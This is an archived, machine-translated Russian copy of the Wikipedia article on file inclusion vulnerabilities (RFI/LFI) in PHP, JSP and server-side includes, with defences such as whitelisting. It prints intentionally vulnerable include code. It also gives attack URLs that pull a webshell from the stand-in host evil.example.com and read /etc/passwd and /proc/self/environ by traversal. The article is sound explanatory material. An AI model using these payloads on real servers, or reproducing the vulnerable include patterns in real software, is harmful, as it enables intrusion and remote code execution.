Jump to content

Уязвимость включения файлов

(Перенаправлено из локального включения файла )

Уязвимость включения файлов — это тип веб- уязвимости , которая чаще всего затрагивает веб-приложения , использующие среду выполнения сценариев . Эта проблема возникает, когда приложение создает путь к исполняемому коду с использованием переменной, контролируемой злоумышленником, таким образом, что позволяет злоумышленнику контролировать, какой файл выполняется во время выполнения. Уязвимость включения файла отличается от обычной атаки с обходом каталога тем, что обход каталога является способом получения несанкционированного доступа к файловой системе , а уязвимость включения файла нарушает способ загрузки приложения кода для выполнения. Успешная эксплуатация уязвимости включения файлов приведет к удаленному выполнению кода на веб-сервере , на котором запущено уязвимое веб-приложение. Злоумышленник может использовать удаленное выполнение кода для создания веб-оболочки на веб-сервере, которую можно использовать для порчи веб-сайта .

Типы включения

[ редактировать ]

Удаленное включение файлов

[ редактировать ]

Удаленное включение файла ( RFI ) происходит, когда веб-приложение загружает и выполняет удаленный файл. Эти удаленные файлы обычно получаются в форме HTTP или FTP URI в качестве параметра, предоставляемого пользователем веб-приложению.

Включение локального файла

[ редактировать ]

Включение локального файла ( LFI ) похоже на уязвимость удаленного включения файла, за исключением того, что вместо включения удаленных файлов для выполнения могут быть включены только локальные файлы, то есть файлы на текущем сервере. Эта проблема по-прежнему может привести к удаленному выполнению кода из-за включения файла, содержащего данные, контролируемые злоумышленником, например журналы доступа веб-сервера.

Языки программирования

[ редактировать ]

В PHP основная причина связана с использованием непроверенного пользовательского ввода с функцией файловой системы, которая включает файл для выполнения. Наиболее примечательными являются include и require заявления. Большинство уязвимостей можно отнести к тому, что начинающие программисты не знакомы со всеми возможностями языка программирования PHP. В языке PHP есть директива, которая, если она включена, позволяет функциям файловой системы использовать URL-адрес для получения данных из удаленных мест. [1] Директива allow_url_fopen в версиях PHP <= 4.3.4 и allow_url_include начиная с PHP 5.2.0. В PHP 5.x эта директива по умолчанию отключена, в предыдущих версиях она была включена по умолчанию. [2] Чтобы воспользоваться этой уязвимостью, злоумышленник изменит переменную, передаваемую в одну из этих функций, чтобы включить в нее вредоносный код из удаленного ресурса. Чтобы минимизировать эту уязвимость, все вводимые пользователем данные необходимо проверять перед использованием. [3] [4]

Рассмотрим этот PHP- скрипт, который включает файл, указанный по запросу:

<?php
if (isset($_GET['language'])) {
    include($_GET['language'] . '.php');
}
?>
<form method="get">
   <select name="language">
      <option value="english">English</option>
      <option value="french">French</option>
      ...
   </select>
   <input type="submit">
</form>

Разработчик намеревался прочитать в english.php или french.php, который изменит поведение приложения для отображения языка по выбору пользователя. Но можно ввести другой путь, используя language параметр.

  • /vulnerable.php?language=http://evil.example.com/webshell.txt? - внедряет удаленно размещенный файл, содержащий вредоносный код (включая удаленный файл)
  • /vulnerable.php?language=C:\\ftp\\upload\\exploit - Выполняет код из уже загруженного файла с именем exploit.php (уязвимость включения локального файла)
  • /vulnerable.php?language=C:\\notes.txt%00 - пример использования NULL метасимвола для удаления .php суффикс, разрешающий доступ к файлам, отличным от .php. Такое использование внедрения нулевых байтов было исправлено в PHP 5.3 и больше не может использоваться для атак LFI/RFI. [5]
  • /vulnerable.php?language=../../../../../etc/passwd%00 - позволяет злоумышленнику прочитать содержимое /etc/passwd файл в Unix-подобной системе посредством атаки обхода каталога .
  • /vulnerable.php?language=../../../../../proc/self/environ%00 - позволяет злоумышленнику прочитать содержимое /proc/self/environ файл в Unix-подобной системе посредством атаки обхода каталога . Злоумышленник может изменить заголовок HTTP (например, User-Agent) в этой атаке будет PHP-код для использования удаленного выполнения кода .

Лучшее решение в этом случае — использовать белый список допустимых языковых параметров. Если нельзя использовать надежный метод проверки ввода, такой как белый список, положитесь на фильтрацию ввода или проверку переданного пути, чтобы убедиться, что он не содержит нежелательных символов и шаблонов символов. Однако для этого может потребоваться предусмотреть все возможные проблемные комбинации символов. Более безопасное решение — использовать предопределенный оператор Switch/Case, чтобы определить, какой файл включить, а не использовать URL-адрес или параметр формы для динамического создания пути.

Страницы JavaServer (JSP)

[ редактировать ]

JavaServer Pages (JSP) — это язык сценариев, который может включать файлы для выполнения во время выполнения.

Следующий скрипт уязвим к включению файлов:

<%
   String p = request.getParameter("p");
   @include file="<%="includes/" + p +".jsp"%>"
%>
  • /vulnerable.jsp?p=../../../../var/log/access.log%00 - В отличие от PHP, на JSP по-прежнему влияет внедрение нулевых байтов, и этот параметр будет выполнять команды JSP, найденные в журнале доступа веб-сервера.

Включения на стороне сервера (SSI)

[ редактировать ]

встречается Включение на стороне сервера очень редко и обычно не включается на веб-сервере по умолчанию. Серверное включение можно использовать для удаленного выполнения кода на уязвимом веб-сервере. [6]

Следующий код уязвим к уязвимости удаленного включения файлов:

<!DOCTYPE html>
<html>
<head>
<title>Test file</title>
</head>
<body>
<!--#include file="USER_LANGUAGE"-->
</body>
</html>

Приведенный выше код не является XSS-уязвимостью , а скорее включает новый файл , который будет выполнен сервером.

См. также

[ редактировать ]
  1. ^ «Использование удаленных файлов» . PHP . Проверено 3 марта 2013 г.
  2. ^ «Список директив php.ini» . PHP . Проверено 21 октября 2016 г.
  3. ^ «Удаленное включение файлов» . Консорциум по безопасности веб-приложений . Проверено 3 марта 2013 г.
  4. ^ «CWE-98: Неправильный контроль имени файла для оператора Include/Require в программе PHP («Удаленное включение файла PHP»)» . Общий перечень слабостей (CWE) . Митра . Проверено 3 марта 2013 г.
  5. ^ «PHP:: Request #39863:: file_exists() автоматически обрезается после нулевого байта» . bugs.php.net . Проверено 21 октября 2016 г.
  6. ^ «Учебное пособие по Apache httpd: Введение в серверные компоненты — HTTP-сервер Apache версии 2.4» . httpd.apache.org . Проверено 21 октября 2016 г.
[ редактировать ]
Arc.Ask3.Ru: конец переведенного документа.
Arc.Ask3.Ru
Номер скриншота №: 0a165e9a8ba29ab264de48ce5e549fd1__1657904340
URL1:https://arc.ask3.ru/arc/aa/0a/d1/0a165e9a8ba29ab264de48ce5e549fd1.html
Заголовок, (Title) документа по адресу, URL1:
File inclusion vulnerability - Wikipedia
Данный printscreen веб страницы (снимок веб страницы, скриншот веб страницы), визуально-программная копия документа расположенного по адресу URL1 и сохраненная в файл, имеет: квалифицированную, усовершенствованную (подтверждены: метки времени, валидность сертификата), открепленную ЭЦП (приложена к данному файлу), что может быть использовано для подтверждения содержания и факта существования документа в этот момент времени. Права на данный скриншот принадлежат администрации Ask3.ru, использование в качестве доказательства только с письменного разрешения правообладателя скриншота. Администрация Ask3.ru не несет ответственности за информацию размещенную на данном скриншоте. Права на прочие зарегистрированные элементы любого права, изображенные на снимках принадлежат их владельцам. Качество перевода предоставляется как есть. Любые претензии, иски не могут быть предъявлены. Если вы не согласны с любым пунктом перечисленным выше, вы не можете использовать данный сайт и информация размещенную на нем (сайте/странице), немедленно покиньте данный сайт. В случае нарушения любого пункта перечисленного выше, штраф 55! (Пятьдесят пять факториал, Денежную единицу (имеющую самостоятельную стоимость) можете выбрать самостоятельно, выплаичвается товарами в течение 7 дней с момента нарушения.)